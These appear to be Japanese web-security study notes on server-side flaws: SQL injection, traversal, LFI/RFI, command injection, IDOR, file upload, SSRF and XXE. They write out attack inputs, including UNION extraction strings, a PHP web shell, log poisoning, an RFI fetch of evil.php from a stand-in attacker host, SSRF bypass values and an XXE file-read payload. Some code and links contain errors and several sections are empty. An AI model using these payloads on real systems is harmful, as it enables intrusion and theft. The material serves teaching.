3.サーバサイドの脆弱性

3.1. SQLインジェクション

SQLインジェクションはアプリケーションがデータベースに対して行うクエリの一部を改変できるWebセキュリティの脆弱性。これにより、攻撃者は通常は取得できないデータを閲覧できる可能性がある。

SQLを使用するWebアプリケーションがSQLインジェクションの脆弱性にさらされるのはユーザーが提供したデータがSQLクエリに含まれるときである。

SQLインジェクションには以下の種類がある。

• インバンドSQLインジェクション
• エラーベースのSQLインジェクション
• UNIONベースのSQLインジェクション

SQLインジェクションの検出

アプリケーションのエントリポイントに対して一連のテストを実行することで、SQLインジェクションを手動で検出できる。

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--

SQLインジェクションチートシートはコチラより。

UNIONベースのSQLインジェクション

1. UNION攻撃に必要な列数の決定
   • ' ORDER BY 1--や' ORDER BY 2--などで列数の決定
2. UNION攻撃で有用なデータ型の列を見つける
   • UNION SELECT 'a',NULL,NULL,NULL--など(aの位置を変える)
3. DBバージョンの取得
   • ' union select version(),null,null,null #
4. DB名の取得
   • ' UNION SELECT DATABASE(),NULL,NULL,NULL#
5. テーブルの取得
   • ' union select table_name,null from information_schema.tables
   • ' union select table_name,null from information_schema.tables where table_schema = '<4で判明したDB名>'#
6. テーブルのカラムを参照
   • ' union select table_name,column_name from information_schema.columns #
   • ' union select table_name,column_name from information_schema.columns where table_schema = '<4で判明したDB名>'#
7. データの取得
   • ' union select user,password from <DB名>.<テーブル名> #

3.2. 認証不備の脆弱性

3.3. パス/ディレクトリトラバーサル

パストラバーサルはディレクトリトラバーサルとも呼ばれ、攻撃者はアプリケーションを実行しているサーバー上の任意のファイルを読み取ることができる脆弱性。

これはアプリケーションがユーザーからの入力に基づいてファイルやディレクトリにアクセスする際に、入力値を適切に検証しないことで発生する。多くの場合、WEBサイトのバックエンドの不十分な入力検証またはフィルタリングが脆弱性の原因となる。

ドットスラッシュ攻撃

ドットスラッシュ攻撃はディレクトリトラバーサルの攻撃で../を使用してディレクトリを 1 つ上のステップに移動することを利用して攻撃する。

例としては以下の通り。

1. エントリーポイントを発見する(http://webapp.thm/get.php?file=)
2. http://webapp.thm/get.php?file=../など送信する
3. ほしいデータがあるディレクトリ(例../../../etc/passwd)まで何回(例の場合5回)リクエストを送ってデータを取得する

上記手法はLinux、Windows問わずに同じようにディレクトリをたどっていく。
テスト時に使用できる一般的な OS ファイルは以下の通り。

3.4. LFI/RFI(リモート/ローカルファイルインクルージョン)

ファイルインクルージョンは、Webアプリケーションが外部から与えられたパス情報に基づいて、サーバー上のファイルを不適切に読み込み、実行してしまう脆弱性のこと。
これにより、攻撃者はサーバー上の任意のファイルを閲覧したり、悪意のあるコードを実行したりできる場合がある。

ファイルインクルージョンはLFIとRFIの2種類存在する。

原因は以下の通り。

• 不適切な入力検証
  • ユーザーが入力した値（URLパラメータ、POSTデータなど）を、ファイルパスとして直接使用している
  • 許可するファイルパスの範囲を限定していない
  • パス・トラバーサルを示す文字（../や..\）を除去していない
  • NULLバイト（%00）による終端攻撃への対策が不十分
• Webサーバの不適切な設定
  • Webサーバやアプリケーションの設定により、リモートファイルのインクルードが許可されている（特にPHPのallow_url_include設定がOnの場合）

ローカルファイルインクルージョン(LFI)

攻撃者がWebサーバ自体に存在する任意のファイルを読み込ませる、または実行させる脆弱性。

PHPの場合の原因のコードは以下の通り。

<?php
    $page = $_GET['page'];
    include($page . '.php'); // '.php'を付与しているが、攻撃者はパス・トラバーサルやNULLバイトで回避可能
?>

悪用は以下のように行われる。

• パストラバーサルでの悪用
  • http://example.com/index.php?page=../../../../etc/passwd
  • http://example.com/index.php?page=../../../../etc/passwd%00
• ログを利用したWebシェルの実行
  • 攻撃者がWebサーバーのアクセスログなどに悪意のあるPHPコード（Webシェル）を書き込み（例: User-Agentヘッダーにコードを埋め込む）、そのログファイルをLFIで読み込ませることで、Webシェルを実行させる
    1. 攻撃者がWebシェルコードをUser-Agentなどに埋め込んだHTTPリクエストを送信し、Webサーバーのログにそのコードを記録させる。（User-Agent: <?php system($_GET['cmd']); ?>)
    2. 攻撃者がLFI脆弱性を使ってログファイルを読み込ませる(http://example.com/index.php?page=../../../../var/log/apache2/access.log)
    3. ログファイルがPHPコードとして実行され、Webシェルが有効になる

リモートファイルインクルージョン(RFI)

攻撃者が自身が管理する外部のサーバー上にあるファイルを、脆弱なWebサーバーにダウンロードさせ、実行させる脆弱性。
LFIよりも危険性が高い。

PHPの場合の原因のコードは以下の通り。

<?php
    $page = $_GET['page'];
    include($page); // 直接、外部URLをインクルードできる状態
?>

悪用は以下のように行われる。

• Webシェル
  1. 攻撃者が自身のサーバー（例: http://ex.attacker.com/evil.php）にWebシェルを作成
  2. 脆弱なアプリケーションにそのURLを渡す(http://example.com/index.php?page=http://ex.attacker.com/evil.php)
  3. Webサーバーがevil.phpをダウンロードし、実行する
• マルウェアのダウンロードと実行
• サーバの乗っ取り

3.5. OSコマンドインジェクション

OSコマンドインジェクションはデバイス上のアプリケーションが実行されているのと同じ権限を使用しOS上でコマンドを実行するアプリケーションの動作を悪用することでシステムの乗っ取りやコード実行などが行える脆弱性のこと。

OSコマンドインジェクションは、アプリケーション内のコードをリモートで実行できるため、リモートコード実行(RCE)とも呼ばれる。
これらの脆弱性は攻撃者が脆弱なシステムと直接対話できることを意味するので、多くの場合攻撃者にとって最も恩恵が得られる攻撃といえる。
この攻撃では攻撃者はシステムまたはユーザーのファイル、データ、およびその性質のものを読み取ることができる可能性がある。

具体的にはPHPのsystem関数、exec関数、Shell_exec関数、Pythonではos.system関数、os.popen関数等が該当などで外部からの入力値を引数として渡している場合に発生する。

OSコマンドインジェクションの原理

phpで書かれた「入力値のファイル内検証のコード」を例にとる。

<?php
$songs = "/var/www/html/songs"

if (isset $_GET["title"]) {
   $title = $_GET["title"];

   $command = "grep $title /var/www/html/songtitles.txt":

   $search = exec($command);
   if ($search == ""){
      $return "<p>リクエストされた $title は曲リストに含まれていません。</p>";
   } else {
      $return "<p>リクエストされた $title は曲リストに含まれています。</p>";
   }

   echo $return;
}
?>

上記例では入力値($title)にアプリケーションを実行するための独自のコマンドを挿入することで、このアプリケーションを悪用する可能性がある。
具体的にはgrepを使用してsongstitles.txtより機密性の高いファイルからデータを読み取るようにすることができる。

OSコマンドインジェクションの検知

OSコマンドインジェクションを確かめるにはシェル演算子;および&は&&(またはそれ以上) のシステムコマンドを組み合わせて両方をURLで実行すると行える。

具体的な検出方法は以下の2通りある。

ブラインド法による検出

この方法ではOSコマンドインジェクションの結果出力は表示されないため、結果が分かりづらい。これはWEBアプリケーションがメッセージを出さないためである。 このタイプのコマンドインジェクションを検知する方法は2通りある。

• ある程度の時間遅延を引き起こすペイロードを使用する方法
  • pingやsleepコマンドがその例で、オプションで指定した数だけアプリケーションがハングアップするため確認できる
• 出力を無理やり強制する方法
  • >などのリダイレクト演算子を使用して実行する
  • 例としてwhoamiを実行させたい場合はwhoami > catなどを利用する
  • Linux と Windows ではコマンドの構文が異なるため数多い試行が必要になるケースがある

またcurlコマンドはOSコマンドインジェクションをテストするのに優れた方法といえる。
これはペイロード内のアプリケーションとの間でデータの受け渡しに使用しやすいためである。

curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

冗長法による検出

この方法ではOSコマンドインジェクションの結果がWEBアプリケーションの出力に直接表示されるので分かりやすいのが特徴といえる。

OSコマンドインジェクションに役立つペイロード集

Linux と Windows の両方の貴重なペイロードを以下に記載する。

OSコマンドインジェクションチートシート

OSコマンドインジェクションチートシートはコチラから。

3.6. ビジネスロジックの脆弱性

3.7. 情報漏洩による脆弱性

情報漏洩による脆弱性は、ウェブサイトが意図せずユーザーに機密情報を公開してしまうこと。

情報漏洩の基本的な例は次のとおり。

• robots.txtファイルまたはディレクトリの一覧 から、隠しディレクトリの名前、構造、内容を公開する
• 一時バックアップを介してソースコードファイルへのアクセスを提供する
• エラーメッセージにデータベースのテーブル名または列名を明示的に記載する
• クレジットカード情報などの機密性の高い情報を不必要に公開する
• APIキー、IPアドレス、データベース認証情報などをソースコードにハードコーディングする
• アプリケーションの動作の微妙な違いから、リソースやユーザー名などの有無をほのめかす

情報漏洩の一般的な情報源

• ウェブクローラー用のファイル
  • robots.txt, sitemap.xmlなど
• ディレクトリリスト
• 開発者のコメント
  • HTML/CSS/JS上の開発者のコメント/メモ
• エラーメッセージ/デバックメッセージ
  • バックエンドの言語(.phpなど)のエラーメッセージ/デバックメッセージ
  • データベースのエラーメッセージ/デバックメッセージ
  • Webサーバのミドルウェアのエラーメッセージ/デバックメッセージ
• ユーザーアカウントページ
  • クエリパラメータなど
    • 例:/user/personal-info?user=carlos
• バックアップファイル
  • ソースコードに書かれた機密データ(APIキーやバックエンドコンポーネントにアクセスするための認証情報など)
• 不適切な設定
  • HTTPTRACEメソッド
• バージョン管理履歴
  • /.gitディレクトリ

ファジング

怪しげなパラメータが見つかった場合は、想定外のデータ型や特別に細工したファジング文字列をWebサーバに送信して、どのような効果があるか確認すると良い。

Burp Intruderで調査できる。

3.8. アクセス制御の脆弱性

水平/垂直アクセス制御

• 水平アクセス制御
  • 水平アクセス制御はリソースへのアクセスを特定のユーザーに制限する仕組み
  • 異なるユーザーが同じ種類のリソースのサブセットにアクセスできる
• 垂直アクセス制御
  • 機密機能へのアクセスを特定の種類のユーザーに制限する仕組み
  • 異なる種類のユーザーが異なるアプリケーション機能にアクセスできる

水平的な/垂直的な権限昇格

• 水平的な権限昇格: 他のユーザーのリソースにアクセスできる場合
  • ユーザーはURLを使用して自身のアカウントページにアクセスする可能性がある。
    • https://insecure-website.com/myaccount?id=123
    • このとき攻撃者がidパラメータ値を他のユーザーの値に変更すると、他のユーザーのアカウント ページや関連するデータおよび機能にアクセスできる
• 垂直的な権限昇格: ユーザーがアクセスを許可されていない機能にアクセスでき、管理機能が使用できる場合
  • ユーザーは関連する管理URLにアクセスすることで管理機能にアクセスできることがある

水平/垂直アクセス制御のアクセス方法。

一部のアプリケーションは、ログイン時にユーザーのアクセス権またはロールを決定し、その情報をユーザーが管理できる場所に保存します。これには次のようなものがある。

• 隠しフィールド
• クッキー
• 事前設定されたクエリ文字列パラメータ

上記を悪用することで水平/垂直アクセス制御の脆弱性にアクセスできる場合がある。

IDORの脆弱性

IDOR(Insecure Direct Object Reference)の略でありアクセス制御の脆弱性の一種のこと。 具体的にはWebサイトやAPIに対するリクエストにおいて、認証や認可を適切に管理せず、ユーザー名をはじめ容易に予測可能な識別子を用いてデータやリソースに直接アクセスしている場合に生じる脆弱性である。

この脆弱性はWebサーバーがオブジェクト(ファイル、データ、ドキュメント)を取得するためにユーザー指定の入力を受け取り、入力データがサーバ側で検証されていない場合に発生する可能性がある。

基本的なIDORはhttp://example.com/profile?user_id=1305などのクエリパラメータを含むURLアドレスバーなどにある。

IDORの場所

ターゲットとしているIDORの脆弱性のあるエンドポイントURLアドレスバー以外にある場合がある。 これはブラウザがAjaxリクエストを介して読み込むコンテンツ、またはJavaScriptファイルで参照されている可能性がある。

また場合によってエンドポイントには、開発中に何らかの用途があり運用環境にプッシュされた未参照のパラメータが存在することがある。 他にもパラメータマイニングと呼ばれる攻撃により、他のユーザーの情報を表示するために使用できるパラメーターなどが見つかる場合がある。

IDORの調査

• エンコードされたIDによる調査
  • Web開発者は多くの場合、投稿データ、クエリ文字列やCookieによってページからページにデータを渡すとき最初に生データを取得してエンコードを行う。
  • エンコードにより受信側Webサーバーがコンテンツを理解できるようになる。 エンコードでは通常はパディングに文字を使用して、バイナリデータをASCII文字列に変更する。
  • なお、最も一般的なエンコード技術はBase64エンコードとなっている。
    • 文字列のエンコード … https://www.base64decode.org/
    • 文字列のデコード … https://www.base64encode.org/
• ハッシュ化されたIDによる調査
  • ハッシュIDはエンコードされたIDよりも扱いが少し複雑となるが、整数値のハッシュなどは予測可能なパターンに従う場合がある。
  • 見つかったハッシュはコチラのサイトなどで確認できる。
• 予測できないIDを調査する方法
  • エンコードされたIDやハッシュIDでIDORを検出できない場合は2つアカウントを作成しそれらの間でID番号を交換すると判明する場合がある。
  • 別のアカウントでログインしている (またはまったくログインしていない) 状態でも、ID番号を使用して他のユーザーのコンテンツを表示できる場合は、有効なIDOR 脆弱性が見つかったといえる。

3.9. ファイルアップロードの脆弱性

Webサーバがファイルの名前、種類、内容、サイズなどを十分に検証せずに、ユーザーがファイルシステムにファイルをアップロードすることを許可してしまうことで生じる脆弱性。

ファイルアップロードの脆弱性で最も危険なケースは、ウェブサイトがPHP、Java、Pythonなどのサーバーサイドスクリプトのアップロードを許可し、それらをコードとして実行するように設定されていること。
この際にWebシェルなどがアップロードされた場合、シェルが実行されてしまう可能性がある。

この脆弱性の原因は以下の通り

• 不適切なファイルタイプの検証 (MIME Type / 拡張子チェックの不備)
  • MIMEタイプのみの検証: アップロードされたファイルのMIMEタイプ（例: image/jpeg）のみをチェックし、ファイル拡張子（例: .php, .asp）をチェックしない場合、攻撃者は悪意のあるスクリプトファイル（例: shell.php）のMMIMEタイプを画像（image/jpeg）に偽装してアップロードできてしまう
• ブラックリスト方式の拡張子チェック
  • サーバサイドの悪用すると危険な拡張子（.php, .asp, .jsp, .exeなど）を列挙してブロックするブラックリスト方式を採用している場合、攻撃者はリストにない未知の危険な拡張子（例: .phtml, .php3など）や、Webサーバーが解釈する代替拡張子を利用して回避できる可能性がある。また、大文字小文字の区別（.PHP）、NULLバイトによる終端（shell.php%00.jpg）など、様々な回避手法が存在する。
• ファイル名/パスの不適切な処理
  • パス・トラバーサル: アップロードされたファイル名にディレクトリトラバーサルを示す文字（例: ../）が含まれている場合、攻撃者はファイルを任意のディレクトリにアップロードできる可能性がある。
• アップロードディレクトリの実行権限
  • アップロードされたファイルが保存されるディレクトリに、Webサーバーがスクリプトを実行する権限（例: PHPの実行権限）を持っている場合、悪意のあるスクリプトが実行されてしまう。
  • ユーザーがアップロードするファイル（画像など）は、実行権限がない静的なディレクトリに配置するべき

ファイルアップロード脆弱性の悪用

以下のようなWebシェルがアップロードされ実行環境にある場合、大変危険となる。

<?php system($_GET['cmd']); ?>

上記はURLのcmdパラメータで渡されたコマンドをWebサーバー上で実行し、その結果をWebページに表示する非常にシンプルなWebシェルである。

3.10. SSRF(サーバサイドリクエストフォージェリ)

SSRFは攻撃者がサーバー側アプリケーションに意図しない場所へのリクエストを行わせることを可能にする脆弱性。
具体的には攻撃者は何らかの方法で公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があり、これがSSRF攻撃と呼ばれる。

SSRFには以下の2種類がある。

• 通常のSSRF … データが攻撃者の画面に表示される
• ブラインドSSRF … SSRFが発生しても攻撃者の画面に情報が表示されない

SSRFの発見

SSRFの脆弱性を見つける場合一般的に確認すべき箇所は4カ所ある。

• アドレスバーのパラメータで完全なURLが使用されている場合
  • https://website.com/form?server=http://server.webstite.com/storeなど
• フォーム内の隠しフィールド(type=hidden)の値にURLが使用されている場合
• ホスト名などがクエリパラメータにある場合(server=api)など
• URLにパスが指定されている場合

なお出力が出力されないブラインドSSRFを探す場合は外部HTTPログツールを使用する必要がある。 この場合requestbin.comや自前のHTTPサーバやBurp SuiteのCollaboratorツールを使う必要がある。

またxや&x=をパラメータとして使用することで通常のURLスキーム(http、https)以外の特殊なプロトコル(例: file、gopher)を使用できるため悪意のある動作を実現できてしまう。

SSRFを突破する

SSRF脆弱性をアプリケーションに実装する場合、システム開発者は拒否リストと許可リストを実装する。

• 拒否リスト … リストで指定されたリソース、または特定のパターンに一致するリソースを除いてすべてのリクエストが受け入れさせる機構
  • 一般的にはlocalhostや127.0.0.1やドメイン名が記載される
  • 攻撃には代替の0や0.0.0.0、127.1、127.*.*.*、2130706433、017700000001などでバイパスできる
  • IPアドレス127.0.0.1に解決される DNSレコードを持つサブドメイン(例:127.0.0.1.nip.io)などでもバイパスできる
• 許可リスト … パラメーターで使用されるURL(例えばhttps://website.thm)で始まる必要があるというルールなどの特定のパターンに一致しない限り、すべてのリクエストが拒否させる機構
  • 攻撃には攻撃者のドメイン名にサブドメイン(https://website.thm.attachers-domain.thm など) を作成することで行える

またオープンリダイレクトのギミックにそのドメインのみから始まるURLを許可するSSRF脆弱性がある場合、内部 HTTP リクエストを攻撃者が選択したドメインにリダイレクト指せるようにできる可能性がある。

3.11. XML外部実体参照(XXE)

XML外部実体参照は攻撃者がアプリケーションによるXMLデータの処理を妨害できるWebセキュリティ脆弱性。この脆弱性により攻撃者はアプリケーションサーバーのファイルシステム上のファイルを閲覧したり、アプリケーション自体がアクセスできるバックエンドシステムや外部システムとやり取りしたりすることが可能となる。

XMLの概要

XMLは「拡張マークアップ言語」の略で、データの保存と転送を目的とした言語。
かつてXMLはデータ転送形式として流行っていたが、現在はJSONに変わられている。

XMLではDTDという機能により構造を独自に定義できる。 &や;で実体参照としてローカルのファイルパスや外部のURLを指定できる。

<!DOCTYPE foo [ 
<!ENTITY myentity "my entity value" > 
<people>
    <name>&name;</name>
    <postition>&position;</posititon>
</people>
]>

このときWebアプリケーションがアップロードされたファイルのDTDを制約なしに解釈するとXXEが発生する。XXEを悪用するとローカルファイルの読み込みやSSRFにつながる。

XXEによるファイル読み取り

サイトがXMLデータをPOST等で受け取れる際に以下XMLを渡すとファイル(/etc/passwd)の中身が読み取れることがある。

<?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack the %26book%3B</thp>

アウトオブバンドXXE(OOB-XXE)

XXEペイロード

• Etienne StalmansのXXEペイロード
  • https://gist.github.com/staaldraad/01415b990939494879b4
• Danniel MiesslerのXXEペイロード
  • https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt

3.12. NoSQLインジェクション

3.13. APIエンドポイントの脆弱性